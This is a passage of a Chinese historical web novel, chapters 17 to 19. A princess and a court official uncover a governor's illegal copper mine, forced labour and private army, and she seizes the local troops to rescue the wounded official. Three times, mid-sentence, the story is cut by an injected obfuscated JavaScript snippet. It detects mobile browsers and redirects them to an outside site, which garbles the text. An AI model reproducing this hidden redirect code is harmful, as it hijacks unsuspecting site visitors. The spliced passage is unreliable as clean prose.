她看着神情执拗的兄长,又想起了那日岑姐姐的一番同样毫无迟疑的话。无论如何也想不明白,这样两个人为何会走到这一步? 反倒是谢定突然想起点事来,关切:“我前阵子看见你在寻女医,可是身上有不适?这一趟出去要赶路的,你要是有病恙在,便别跟着一块走了,左右那破宗祠我是不稀罕去的,至于说爹娘那儿,有我给你解释呢,下次再正经祭拜就是了。” ……那女医不是为她自己寻的。 谢兰君掩饰着,“不是抱恙,只是闲来无事,突然想学点医术。” 医乃百工之技,不登大雅之堂,女子学医更是少之又少。 但谢定倒没觉得有什么不妥。想着这次出征时,或是伤重不治或是高热而亡的士卒,他对妹妹的想法还颇为赞同。 “多学点傍身没坏处。”这么点头应下,他又接着,“也不用私底下找了,回头让府上张榜去寻。” * 岑篱还不知道长安城里发生的事。 既然刘大牛被放了回来,岑篱也不好拉着人家老娘媳妇在自己这儿做工,便干脆结了这几日的工钱,放这难得团聚的一家四口回去。 待那一家人谢恩离开,岑篱却看着院门口出了会儿神。 苏之仪:“良人归家、夫妻久别重逢,的确动人心扉。” 那她又从中看到了什么呢? 岑篱含糊地点了下头,不自然地别开目光。 苏之仪顿了顿,抬头看向那一家四口离开的方向,眯了下眼睛。 刘大牛没说实话,两人都看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229070|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这一点。 这事本来有个更快捷的解决方法,拿下刘大牛,从他嘴里撬出话来。刘大牛才是被征的徭役,到底是劳役还是兵役一问便知。这人的母亲妻室幼子都在他们手上,稍微用点法子,不愁他不开口说实话。 岑篱分明看出了这一点,但她宁可舍近取远,更曲折地选郦氏的法子,却也没扣下刘大牛……就为了成全这一对苦命夫妻? 但又凭什么呢? 苏之仪目光多了点冷峭,不知有意无意,他放缓了声音开口,“令昭也看出来了吧,那刘大牛身上不像是兵卒训练的痕迹。” 岑篱轻应了一声,她于此也有准备。 抬手招来一个护卫,吩咐,“去跟上他,看看他和什么人接触。” 只是停顿了下,又就接着,“……如非必要,不必惊扰他们。” 不惊扰么? 苏之仪半垂下眸,开口提议:“平白无故的,我若是登门郦氏拜访,难免惊动郡守。既然都是郦家之人,不如你和郦夫人谈谈,把这刘大牛事交由我办?” 岑篱怔了下,“也好。还是温知考虑周全。” * 不等岑篱主动联络郦夫人,后者反而主动递来了游园的邀约。 正如苏之仪说的,岑篱住在郡守府上,本就该由这位郡守夫人招待,二人便是再怎么交从都不惹人瞩目。 这郡守府的西园确实美轮美奂。 山池相依,虽然已经深秋的天气,但池畔半枯的莎草旁是金玉交错的菊花,干枯的薜荔藤攀在假山石上,反而显出几分秋日里萧索的美丽。等转过青石板路,却是一片豁然开朗,满院的丹枫着了秋妆,掌状的叶片炽烈燃在枝头。 “我家府君也是为风雅之人,平素最为怜香惜玉,府中美人甚多,其中又以一位王姓姬妾最为貌美,也得主君偏爱,主君不惜重金移来了这片枫叶林。” 这话题来得突兀,又不那么合时宜。 岑篱却隐隐听出点异样:“姓王?” “便是昨日里险些因羊肉羹冒犯的郡主的那位。郡主如此问,莫不是在何处听说过此人?” 岑篱也没点明,昨日的事实在算不上是那位王姬的冒犯,只是接着问:“我初到阳曲那日,郡守刚刚处置了一位王姓小吏。若是府上无第二位王姬,这小吏该是她的弟弟了。胞弟出事,为人姊的却毫无急态,反倒安享羊肉,莫不是这姐弟之间有些龃龉?” “郡主怎知是‘出事’呢?” 岑篱霍然抬头。 郦夫人抬着帕子微微掩着唇边,锦帕遮掩下,她无甚笑意地勾了勾唇,以气声轻道:“这阳曲如今可是跟着郡守姓‘倪’的。既然都自家人的地方,是牢房是宅邸又有什么分别?谁知道里面是否高枕软卧,奴仆成群?” “郦夫人这玩笑可开得大了。” “是否说笑,郡主去找人探探便知。” …… 岑篱离开后,郦夫人身边的婢女上前,蹙眉劝道:“夫人此举是否过于冒险了?若是郡守出事,您也讨不了好。” 郦文善却是冷笑,“讨好?!我能从他身上讨得什么好处?别被他拉着阖族陪葬都是善事了。” 那倪长仕若单单是搜刮民脂、征发劳役还好了呢。 最怕的是有那么一两分的本事,就做起了九分十分的大梦,但凡同他沾了点边的都是倒了血霉。 “你回去告诉大堂兄,这几日若是有贵客登门、好生招待着,郦氏能不能从这泥潭里脱身,就看这一次了。” 17.第 17 章 刘家这边,刘大牛能够全须全尾地回来,当然是天大的好事,只是一家人冷静下来,免不了问起了他的这段时日的遭遇。再者刘大牛这次应劳役而去,本身就存了去找已然一年渺无音讯的父亲的心思。 看着范媪一副想问又不敢问的架势,刘大牛主动开口,“我见着爹了。” 范媪明显大松口气,开口却是骂,“那老不死的,我那会儿说躲山里,他偏不听信。可倒好,被征去了,整整一年连个信儿都没,活的死的都不知道,留着咱孤儿寡母的过日子,我说只当他死了,你还偏往上凑——” 她眼底突然有了活气,一大把年纪了硬是中气十足的骂了好一阵子,一直骂得口干舌燥,才终于止了声,眼神却是往刘大牛身上瞥。 刘大牛迟疑着:“爹他一时半会儿回不来。” 范媪兀地沉默下去,那点气儿仿佛一下子被从身上抽走了。 她扶着旁边的土墙一点点滑落,人也跟着萎顿下去。 刘大牛急了,“娘!我说真的,爹还好着呢,就是一时回不来。” 范媪摇头,“他拿着你爹,要你替他们做什么?” “……” 范媪开始抹眼泪,“你也瞧见了,那些人干的都是些什么混账事。隔屋那家的闺女,亲事都议定了,好端端的却叫他们给糟蹋了,这会儿人还疯着……都是些丧良心的玩意儿,你要是也这么丧了良心,我只恨不得当年生你出来的时候没把你溺死。” “娘!我才没干这伤天害理的事!!” “那他们叫你干什么?” 刘大牛赌咒发誓,好不容易让亲娘相信了自己没当那郡守手底下的爪牙,却也不敢如之前所想的那样,让刘父在郡守那边再多呆些时日,好好养养身子。 他当日便赶到了郡守府,本想去问问刘父如今是在宁县还是郡治,却被门房挡在了门外。 他拿出了郡守给的印信,门房将信将疑地取过,扔下一句“等着”就往里去了。 然而不过小半刻钟,进去的人就出来了,一改刚才的怀疑表情,态度蛮横地驱赶道:“去去去!哪里来的穷酸鬼,来郡守府攀亲戚?滚!” 这蛮横的态度让人想起了矿中的监工,刘大牛脑子空白僵在了原地,等回过神来,人已经被拖出去好几丈远。 他挣扎了一下没能挣脱,只能颤着声哀求:“劳驾,我爹真的在郡守那儿。” 动手的两个粗使杂役嘻嘻哈哈地取笑着,“还没瞧着这么上赶着认爹的。来,叫声‘爹’来听听,你爷爷我应着呢。”取笑完了,又把人扔到了巷子角,一阵拳打脚踢后,寒声警告,“郡守府不是你能攀上的。下次再来,就没这容易了。” 刘大牛蜷着身子挨了这顿结结实实的揍,仿佛又回到了那暗不见天日的矿洞里,他窝在墙角兀自哆嗦了好一阵才缓过来。 却仍不死心,踉踉跄跄追上去,冷不防地听那两人议论。 “听他叫‘爹’,你也不嫌晦气。” “这不是话赶上了,回头就拿艾叶洗洗。” “老东西早就被扔到病役坑里了,那边野狗叫新鲜肉食养得好,他这会儿还不知道在那条狗肚子里呢?” “……” 脑子一阵嗡鸣,明明每个字都入耳了,偏偏听不明白。 好半天,他像是终于迟缓地回过神来,赤红着眼睛就要往郡守府冲,却被一个护卫拦在了原地。 “啊——!” 刘大牛嘶吼着状若疯癫,护卫竟然差点儿没能摁住他,用了点巧劲儿才将人压制下去。 苏之仪缓步走来。 护卫用膝盖又把人往下压了压,单手行礼道:“廷尉。” 苏之仪温声:“想报仇吗?” 正挣扎的刘大牛动作一滞,缓慢抬头。 苏之仪笑了,“你这么追上去,最好的结果也就是杀两个杂役,还是和他们同归于尽。你想要找那罪魁祸首吗?” 他明明脸上带着温和的笑意,却让人无端端大白天的背生寒意。 景九早在刘大牛停下挣扎时就松了手,这会儿听见苏之仪的话,人不自觉往后退了半步。 苏之仪目光淡淡地扫过去,“怎么?你要回去请示郡主?” 景九是岑府的人。 虽然苏之仪被擢为九卿,又有正崇帝赐下的宅邸仆役,但苏家到底寒门出身,这次出行的护卫都都是从岑府带出来的。 景九拱手:“郡主有命,一切听从廷尉吩咐。” 这边对话间,那边刘大牛已经上前,重重地叩头在地上,“求贵人指点。” 苏之仪莞尔,却也不知道因为景九的识趣,还是刘大牛的反应。 他对景九吩咐:“先带他去病役坑吧。总要先把老父安葬了……” 刘大牛叩首的动作一顿,下一刻却更用力气地磕在了地上,额上冒出了汩汩血流,“谢贵人恩德!” 但景九却觉得浑身都泛起了凉意。 那双笑意温润的眼睛里,绝不是柔和的关切。 而是—— ‘他还不够恨。’ 所以让他亲眼看看,亲父是怎么被郡守害得曝尸荒野、死无全尸的。 苏之仪看了眼僵在原地景九,温声:“景护卫还有何事?” 景九僵硬地低下头,“属下领命。” * 从刘大牛那处得知,郡守私自开采的铜矿入口就在宁县附近,苏之仪以调查匪患为由,再次去了宁县。 岑篱则是留在了郡守府,由郦夫人引荐,和郦家如今的话事人搭上线。 因着郡守和亲信都被苏之仪引到了宁县,岑篱也在郦氏的帮助下,顺利拿到了阳曲牢狱的名册。 触目惊心。 不谈这厚厚的名册里头有多少冤案,单就如今这牢中之人,能和名册对上的,连十存一二都没有,全是老弱病残。 郦夫人叹息:“一开始我只觉得阳曲刑罚过于苛责,吏卒查案莽断,肆意抓人入狱。我也劝过他,严法酷刑终是手段,教化万民才是根本,他却不屑一顾。我初时只当是理念有异,然之后却觉出不对来:以他那个抓人法,郡中的牢房早该满了才是,哪里来得那么多地方?疑心也好,好奇也罢,我暗地里让人去里头探了探,牢里空空如也,连个人影都看不见……” 一旁的郦氏的当家人郦茂插言,“他一开始是以判案为遮掩,在郡中抓取青壮投入牢中。之后兴许是觉得这法子太慢,又或者是郡中的案子太多,于他治下政绩也有影响,便也不寻理由,直接上门要人了。乡人不知内情,又不敢反抗胥吏,便也遂了他的愿。” 岑篱若有所悟:“那份阳曲郡内私征劳役的暗报,是你送的?” 郦茂:“实在惭愧。郦氏虽治经学,但家中多年都未出贤才,虽占了先祖名头,有几分薄望,却在郡务上说不上什么话,只能用这等手段。” 岑篱揖礼:“郦郎君过谦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240854|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。身处困厄,仍怀恻隐,念百姓疾苦,暗中周全,此等仁心令人称叹。” “郡主谬赞。”谦辞之后,郦茂的表情却严肃下去,“郡守以盗匪为由征发劳役,郦某猜郡主已经将此事禀报朝廷了。既然如此,郦某斗胆谏言,在朝廷剿匪兵力来此之前,还请郡主只做不知,不要擅动。” 岑篱愣了愣。 一句“为何”脱口而出前,先一步恍悟:“那盗匪?” 郦茂苦笑:“只怕是真的。只是并非匪寇,而是郡守的私兵……他这么多年私下开采铜矿,采出来的钱也不仅仅是挥霍而已。” 岑篱却觉得荒谬:这倪长仕疯了不成?阳曲郡距离长安不过数日路程,可以称一句天子脚下了,在这里豢养私兵,他难不成想要造反? …… 岑篱最后还是采纳了郦氏的建议,暂时按兵不动。 但她实在是低估了这位倪郡守的胆子,也就是当日的夜里,她的房门被敲响,沾了半身血的景九跪在门外,“还请郡主速速离开此地!” 他这么说着,拿出了一块布帛。 是匆忙撕下的半片衣袖,上面以血书写了两个字“速走”! 岑篱连衣服都没来得及换,只匆忙罩上外袍,又捞了件不起眼的披风,跟着景九翻墙出了郡守府。 往外走的一路上,她也从景九那边问清楚了宁县的情况。 原来有了刘大牛引路,苏之仪不但得知了那私采矿洞的位置,还拿到了劳役的名册和这开采铜矿的账目。只是行事太急,到底被倪延等人发现了端倪。 连夜从宁县跑到郡治,景九声音有点疲惫,“苏廷尉也没想到,他居然狗急跳墙选择动手。他们想要伪装成盗匪行事,恐怕得彻底杀人灭口,幸而有护卫随行,苏廷尉那暂时无碍,属下先护送郡主离开阳曲,然后在入京求援兵。” “暂时无碍?”岑篱抓住了那话中的重点,“他能坚持多久?来得及等京城的援兵?” 景九沉默了片刻,“……苏廷尉说,剿匪之事,他先前已经上表请奏。如果运气好的话,我等可以在半路上遇到。” 岑篱了然。 也就是“来不及”了。 她沉思了片刻,“不出阳曲,去郦家。” “郡主不可啊!那倪延既然敢如此行事,说明这阳曲郡上下沆瀣一气,那郦氏又是郡守姻亲,谁知背后是否早有串通?!” 岑篱瞥了他一眼,加重语气,“去郦家。” 她这几日在郡治又不是白待的,不至于连这点事都分不清。 景九:“……唯。” * 郦茂也未想到,白日里才见到的人居然会大半夜的来访。他仓促起来迎接,岑篱却只问了两个问题—— “郦家有多少家兵?” “如今留守郡治的费郡丞是怎样的人?” 后一个问题更好回答一点,“费义淮此人极擅揣摩上意、专事逢迎,然遇事畏葸,不堪当大任。” 岑篱点头。 听起来不错,起码对当下的处境有利。 “那郦氏家兵呢?” “……我郦家以经学传家,不擅武力。” 事实证明,郦茂这话说得还是保守了。 小半个时辰后,岑篱看见眼前明显是被刚刚召集起来的农户。别说操练的痕迹了,这些人身上恐怕找件铁器都难。 岑篱眼角跳了跳,但半晌还是点头,“足够了。” 18.第 18 章 岑篱带着郦氏手下的家兵围了郡丞府。 黑沉沉的夜里,通红的火把一照,让人分不清举火把的人到底是训练有素的精兵,还是连把刀都没有的农户。 费宽睡梦中被家中仆役从床上摇醒,刚到院子就看到外面被火光映亮的天空,还没来得及问是怎么回事,院门被“啪”地一下踹开。 点亮的火光映出了后面影影幢幢的人影。 岑篱一马当先,身侧跟着郦氏家主和景九,再往后是从农户里挑出的充数的青壮。一行人中正经能打的也就是景九一个,但他身上斑驳血渍实在吓人。 费宽一打眼就看见了。 他一个激灵,噗通一声跪倒在地,“好汉饶命!!” 岑篱:“……” 她也没想到郦茂那句“遇事畏葸”的点评居然这么到位。 虽说情绪有一瞬不连贯,但岑篱还是稳下心情,厉声喝问:“阳曲郡守蓄养私兵、图谋不轨,人证物证俱在,此乃谋逆大罪!尔为郡丞,甘为附逆,按律当诛——给我拿下!” 费宽本来见是岑篱还有些放松,听完这话可真是腿都软了,“郡主饶命!小人、小人不知情!小人冤枉啊!!” “倪延伙同郡尉在宁县起兵,留你在郡治,难道不是约定号令,择时与他应和?!有何可冤?” “郡主明察!郡中兵力皆在郡守郡尉之手,小人不过佐理民事、无权调兵!冤枉!真的冤枉!” “哦?那郡守蓄养私兵多年,一应钱财物资从何而来,你对此竟毫不知情?” 费宽:“……” 那不是以为郡守私底下享受了么?为官谋利,都是人之常情。谁知道那倪延干出这么掉脑袋的大事?! 看着不远处岑篱的面孔被火光映得明明灭灭,本来还哆嗦着的费宽突然福至心灵。 对方要是打算拿下他早拿下了,犯不着废话这么多啊。 眼珠一转,便换了一副痛心疾首的面孔,“小人眼盲心瞎,竟放任虎狼在侧多年,毫不知情。郡守……不、那倪贼谋逆,天地不容!某愿将功赎罪、以证清白!求郡主给小人一个机会。” 岑篱默默松了口气。 这费宽揣摩上意的功夫不是盖的,也不枉她在这儿跟对方兜这圈子。 “带上郡丞印信,随我去营中调兵。” 费宽连连叩首:“应当的!应当的!某虽无调兵之职,然事急从权,此国难当头之时……” 岑篱:“快去!” 虽然拉着这郡丞去调兵也名不正言不顺的,但总比她带着郦茂直接往营垒夺兵权来得有道理。 * 在随着岑篱一行人往郡兵驻扎营垒路上,费宽已然注意到,包围他府邸人远没有设想的那么多,更不是他想象的精兵良将。 但奈何人已从“贼”,身上还溅着血的景九往他身后一站,费宽什么想法都没了。只能苦中作乐地想着,虽然是被迫行事,倘若事成、他也是平叛的功臣了。 费宽此人,对着上司唯唯诺诺,但是对着下面的人可就没有那么客气了。一到了营垒,立刻就端起了郡丞的架子,喝令守门士卒让营中司马前来见他。 军司马远远地刚到,费宽立刻喝问:“面见郡主还不叩拜?!” 青年不卑不亢地行了个军礼:“属下见过郡主,见过郡丞。” “尔等速速点齐营中兵力,随我行事!” 来人却没有立刻应下,“回禀郡丞,营中调兵需得兵符或郡守手令,此乃军中规矩,恕属下不能从命。” 费宽着实没想到,小小一个军中司马,当真敢半分面子都不给,当即涨红了一张脸。 正待喝骂,却被岑篱抬手拦了。 “司马军纪严明,当真是位治兵之人。只是如今郡守于宁县起兵谋逆,郡丞深明大义,不愿与之同流合污,故而前来调遣兵力,以抗叛贼。须知朝廷调兵至此也不过日余的光景,司马如今是想要一齐举兵,为个首义之人?还是让麾下士卒不明不白的成了叛贼附庸,落得个被朝廷剿灭的下场?” 没想到当头就是这么个大消息,吴禹愣在了原地。 他抬头看过来,视线在岑篱和郡丞身上略过,最后落在后面的郦茂身上,“……郦公?” 郦茂冲他浅浅地点了一下头。 吴禹也是干脆,当即抱拳一礼,“小人明白了。末将虽位卑,却也知义有大小、道有先后。郡主稍等,末将这就去调兵。” 接着便是整顿兵卒,前往武库。 路上,郦茂低声解释:“这吴禹是从兵卒熬上来的,知道手下士卒的难处,平时多有体谅,郡兵的日子不算难熬。他在士卒中的威望也高,为人厚道忠义……若是早知今日营垒是他值守,咱们也不必跑那趟郡丞府了。” 岑篱看向郦茂,意有所指,“恐怕不止吧?” 就如刚才对方唤得那句“郦公”。 郦茂:“也是惭愧,他早年日子困苦,郦氏恰巧帮到了一二。只是些微末恩惠,却被记到了现在。” …… 打开武库,士卒们着甲执锐,一行人率兵往宁县方向去。 景九解释着:“廷尉曾言,他会往郡治一带暂避。私兵一事,倪延必不敢大张旗鼓,又兼之他自觉为一郡之守,郡治本就是他的大本营,灯下黑的道理在哪里都行得通。只不过这会儿廷尉正被追捕,不知哪里是郡守眼线,因而不好投宿人家,属下觉得,他多半在山里藏身。” 岑篱觉得景九说得有理。 宁县和郡治之间有却有一山,一行人这会儿已然走到了山脚下。 大张旗鼓地搜山定不可行,岑篱叫来吴禹,“你派人把守进山要道,小心防备宁县方向,那倪延既假托盗匪之名行事,遇到便不必心慈手软,用剿匪的法子就是。” “末将遵命。” 岑篱又对景九,“你点几个人,咱们进山。” 景九微有迟疑。 但瞥了眼旁边的吴禹,还是低头应是。 山间林密,稀薄的月光透过树梢洒下斑驳的光影,脱离了人群,周遭一下子静谧下来,只剩下脚踩在枯枝上发出的吱嘎声响。 岑篱转头看向景九,“你刚才想说什么?” 景九拱了拱手,“郡主带属下上山,山下便都是阳曲之人。若是他们为倪延策反,反过来围山搜捕,我等变成了他们的瓮中之鳖。郡主恕罪,属下以为……此举并非十分妥当。” “那我该把你留在山下,孤身上山了?” “不可!山间危险,常有猛兽出没,便是白日里尚需小心,况此夜间?郡主身份贵重,不可孤身涉险。” “那你上山,我留下?” “倘若他们生出异心,郡主便危险了。” 岑篱扑哧一下笑出了声。以前怎么没发现,她这个护卫长还怪有意思的。 她冲景九摊了下手,“这也不行,那也不行,总得找个办法吧?” 景九:“……” 他觉得他带郡主离开阳曲,便是最好的办法了。 虽说夜里看不清表情,但岑篱也猜到了自己手下这护卫长的想法。 她摇了摇头,温声:“那位费郡丞不敢投靠郡守。倪延留他在郡治,就是看中了他胆小怕事,无令不敢擅动,可他如今为咱们胁迫,调了郡兵、打开武库,若是此行成了还好,若是不成,倪延放不过他……怕事也有怕事的算盘,他心里明白得很。” 景九:“郡守谋反,他本该上报。郡主如今给了他将功赎罪的机会,他该感恩戴德才对。” 岑篱却只是笑了笑。 这位费郡丞不半夜扎她小人都是好的。 “只盼着他能想明白。”岑篱说着略垂了眼,神色冷淡了点,“若是想不明白也无妨,真想要去勾连倪延,有郦家的人看着他呢。” 景九拧眉:“那郦氏?” 提起这个,岑篱表情松快了点,“倪延与郦氏联姻,不管如今怎样,当初必定存着拉拢的心思的。倪延这些年私采铜矿所得,甚至能养起一支私兵,其中暴利可想而知,若是郦氏愿意与他合作,何至于落得如今这处境……满腹经纶不如事行一义,如此看来,郦公后嗣也不算辱没先人。” 景九:“可郡主也说了,因不肯和倪延同流合污,郦氏如今在阳曲处境不妙。” 岑篱摇头:“你真当那吴禹毫无背景一小卒,能那么容易居于军司马之职?” 从调查阳曲牢狱便可知,郦氏这些年可不是什么都没做。 君子以仁义行事。 但君子亦身怀利刃。 正说着话呢,脚下突然一阵窸窣,绳索从草丛弹出。 岑篱猝不及防差点被绊倒,还是景九反应很快地抽刀断绳,一手拉住了岑篱。 “铛”的一声,刀刃相接,景九低喝,“是我!” “卫长?” 看清了来人,那护卫忙收刀喝止同伴。再瞧着一旁的岑篱,当即一个激灵跪倒在前,“郡主恕罪!!” 岑篱心跳还有点快,但人已经镇定下来。 她摆了摆手,示意人起来,问:“既然你们在这儿,廷尉也在此处?” “是!”护卫应声答过,又目带迟疑瞥向景九,“但郡主……?” 不是应该被卫长带离阳曲了吗?怎么带到这里了? 景九:“……” 他摆起了脸色,“还不快带路!” * 岑篱一行被带到了一个山洞。 洞口被遮得隐蔽,一直往里走,才看到最里面生着一簇不大的火堆。宿夜的人正在照看着火,旁边的人正休息。 岑篱也终于知道苏之仪为何没法投宿乡里了。 他人靠在岩壁上,半解开外袍只着一边的袖子,祼露在外的左半边肋下一道狰狞的血痕,因一路逃亡都无暇好好处置,边缘处的皮肉红肿外翻,伤痕才刚有结痂的迹象。 这样的伤势难以遮掩,便是一时伪装,也很容易被搜查出来。 大约是疼得睡眠极浅,人一进来,苏之仪便被惊醒,问:“遇到什么了?” 但是话一出口,却是瞬间清醒过来。 不对! 脚步声不对。 苏之仪立刻撑着墙壁坐直,刚想要去摸匕首,却看见了走到近前的岑篱。 他人愣在了原地,疑心自己还在梦中,“郡主?景九不是……”应该带你走了吗? 岑篱:“苏廷尉为了拿逆贼罪证以身犯险,我身为郡主亦有食邑俸养,遇事怎可自全其身?” 苏之仪怔了怔,依靠着墙叹息,“君子不立危墙,郡主不该来此地。” “夫妇之道,受之以恒,非独安乐相守,更在危难相扶。如今君临险境,我岂能独自奔逃?” 苏之仪一时没能说出话来。 那本来灵巧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260370|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口舌像是被山间的寒夜给冻得僵住,身上却似发起了高热,心脏仿佛被狠人攥了一把,在短暂的骤缩之后,一下又一下地急促地跃动着,嗡鸣的耳中听到了血液奔涌的声音。 他猜自己或许是夜间高热生出的癔症,不然怎么能从她口中听到这两个字。 夫妇…… 这汲汲谋求而来的“夫妇”吗? 晃神间,身上传来异样的触感。 他低头看去,对方正轻触着他的身体。并不牢固的血痂因为刚才起身的动作崩裂开,淌出的鲜血洇红的那方洁白的锦帕,也沾染了那素白的手指。 痛吗? 似乎感受不到了,只有那隔着锦帕的轻柔碰触,鲜明地盖过了其他任何感知。 岑篱蹙着眉检视着伤口,“还能走吗?得去山下找医工。” 苏之仪缓缓点头,但其实什么都没想。 一路的筹谋思考仿佛在此刻中断,如果当真是一场高热中的癔梦,他只想要梦得再久一点。 * 另一边,谢叡田觉得自己倒了血霉。 他是谢定的三叔,只不过谢定愿不愿意认这个三叔不好说。 当年谢叡成兵败被夺爵,谢家人人自危,生怕被上头牵连,谢叡田为了避祸,不得不和兄长家断开关系。 本来这也是人之常情,这天下间不睦的兄弟多了去了,又不多他这一个。 可谁承想,他那个好大侄子真有本事给他爹把爵位挣回来…… 现在可倒好,他这个当叔叔的,一大把年纪了,还得腆着脸往那大侄子身上贴。 ……还贴不上。 野地的帐篷没扎紧实,寒风透过缝隙往里头灌,远处的野兽嚎叫声随着风被送过来,让人心里都跟着打哆嗦。好在谢叡田早些年走南闯北的时候也睡过野地里,虽说这些年养尊处优没再过这种日子,但忍忍也勉强适应。 结果才刚刚酝酿出点睡意,就被旁边的刘氏碰醒了。 谢叡田恼火:“你这婆娘,大晚上的不睡觉干什么?!” 刘氏更是理直气壮,“我干什么?这破地方能让人睡着?!收拾东西的时候你说赶着,好多东西不让带,说是官驿里都有。现在可倒好,官驿在哪儿呢?分明睡野地里!——” 眼见着刘氏的声音越拔越高,谢叡田急得去捂她的嘴:“唉哟唉哟~你可小点声。” 刘氏把他的手甩开,“怎么、怕你那好大侄子听见?你瞧瞧你这个叔叔当的,整日跟着人家屁.股后头,人家给你个好脸了么。”说完又是哭嚎,“幸好我没让骋儿跟过来,我那骋儿哪里吃得了这样的苦噢……” 谢叡田被刘氏说的前半句脸上还有点挂不住,说到后面,人也恼了,“哭哭就知道哭,吃点苦怎么了?我年轻的时候没吃过苦吗?!我长兄没吃过吗?我那大侄子没吃过吗?!咱们家当年的事是做的不地道,大侄子心里憋着气呢,可他再怎么憋着,也不能对不懂事的孩子撒。” “……那谢怀朔现在是什么人?战功赫赫、皇帝跟前的红人,你让骋儿在他跟前讨个巧卖个乖,那以后的前程不比咱们费尽心思给他安排强得多了?眼皮子浅成这样,骋儿早晚叫你给教坏了!” 刘氏:“可、可——” 也没说这一趟路赶得跟行军打仗似的。 夫妻俩还在帐篷里争嘴,外头却似有卫兵走过的动静传来。 谢叡田懒得和这婆娘争下去,撩开帐篷帘子往外走。本意是出来透透气,但出来之后,才见外面的情形不对。 大半兵卒都被叫起了,本来值夜的布防明显做了调换。 绝对有大事发生! 可偏偏这么大的调动,他方才在帐子里,除了听到值守的脚步声变化,竟然没有别的察觉,心下不由又是一阵颤栗。 但感慨这大侄子能耐只是一瞬,谢叡田更急着想知道是怎么回事。 他心知凑到谢定面前是得不到什么好脸的,干脆拉住了一个巡视的士卒,好声好气地问:“这位小兄弟,发生什么事了?” 毕竟是自家主将亲叔叔,那士卒也没瞒着,“将军听到远处有行军的动静,已经叫斥候去探了。” 谢叡田心底一跳,低着声:“我常接触些往长安的走商,他们说这阳曲郡内盗匪横行,咱们是不是碰上了?那匪徒凶狠得很,咱们人少,倒也不必跟他们硬碰硬,不如换条安稳些的路走?” 士卒却只是往主帐方向一拱手,“一切听从将军吩咐。” 谢叡田:“……” 不是他说,他那大侄子就不像是个会求安稳的人!再者,就算不论性格,单就谢定这一路赶路、连驿馆都不愿意宿的风格,多半也不肯同意绕路。 谢叡田心底打着鼓,回去撺掇着刘氏去找了谢兰君。 他这个叔叔的话谢定不愿意听,但亲妹子的安危谢定总得考虑吧? 然而刘氏去找了谢兰君,却只得了一个更加要命的消息,“谢怀朔不在营地?!!” “前面情况不明,大兄亲自过去探了。” 谢兰君也颇有些心不在焉,说着话呢,眼神忍不住往谢定离开的方向投过去。 那边正是阳曲郡治的方位。 岑姐姐应该就在那儿,可不要出什么事才好。 旁边刘氏却只觉得一口气没上来,差点晕死在谢兰君的面前。 她是多倒霉催的,才跟着走了这一趟?! 19.第 19 章 谢叡田听那士卒的禀报,第一反应是路遇盗匪,但谢定却知道不是。行军的动静和匪寇劫道的动静截然不同,他要是连这点区别都分辨不出来,早就死在西北了。 郡中兵力非急事不得擅动,如此夜半行军又绝不可能是什么演练。 阳曲绝对出事了! 这也是谢定非得亲自前来查看的原因。 他带着随行的几个亲卫,驾轻就熟地绕过最外围的明哨,却没有急着上前,而是在丛林的暗处又躲避了一会儿。 果然,不多时就看见前头几个未拿火把的巡逻队伍走过。 那明哨之外还布置了暗哨。 有亲卫小声,“这阳曲郡里有能人啊!” 旁边人泼凉水,“可别高兴得早了,是敌是友还不知道呢。” 谢定没说话,只是倾身观察了会儿,很快摸透了里面的巡逻规律,压低声音对亲卫吩咐,“我去里面看看。张戊你在原地守着,朱劼带剩下的人去外围探查,摸清他们的布防。” 正如后者说的,是敌是友还不一定。 他们人太少,行动之前总得先考虑怎么撤出去。 几个亲卫各自领命,谢定则继续往前。劲瘦的身体悄无声息地隐没在黑暗之中,和夜色融为一体,只在夜幕中隐约看见草叶枝丫的轻微摇动。 …… 谢定摸到这郡兵的中心的时候,守在山下的这几个人心情也不平静。 岑篱进山许久没有音讯,少了郡主身份这一层恐吓,本来就是被迫上贼船的费宽心思一下子活泛了起来,他那颗小脑袋瓜子不由自主地开始权衡利弊。 谁知道那夜半山上会不会出什么意外,要是郡主一去不回,那他们这些人可就完了,不如找个机会让人悄悄给倪延送个消息。这么一来,若是郡主这边赢了,他是弃暗投明;若是倪延赢了,他是卧薪尝胆…… 这两头下注的心思一出,心底忍不住痒痒起来,脚底下也开始踱着步,想着怎么避开人往隐蔽处行动。 郦茂一眼就看出了费宽这想法。 心底再怎么暗骂“蠢货”,但也不得不招了招手,对吴禹低声吩咐了几句什么。 不多一会儿,费宽身边就多了两个寸步不离的兵卒。 “夜黑不好视物,我等奉命保护郡丞。” 费宽:“……” 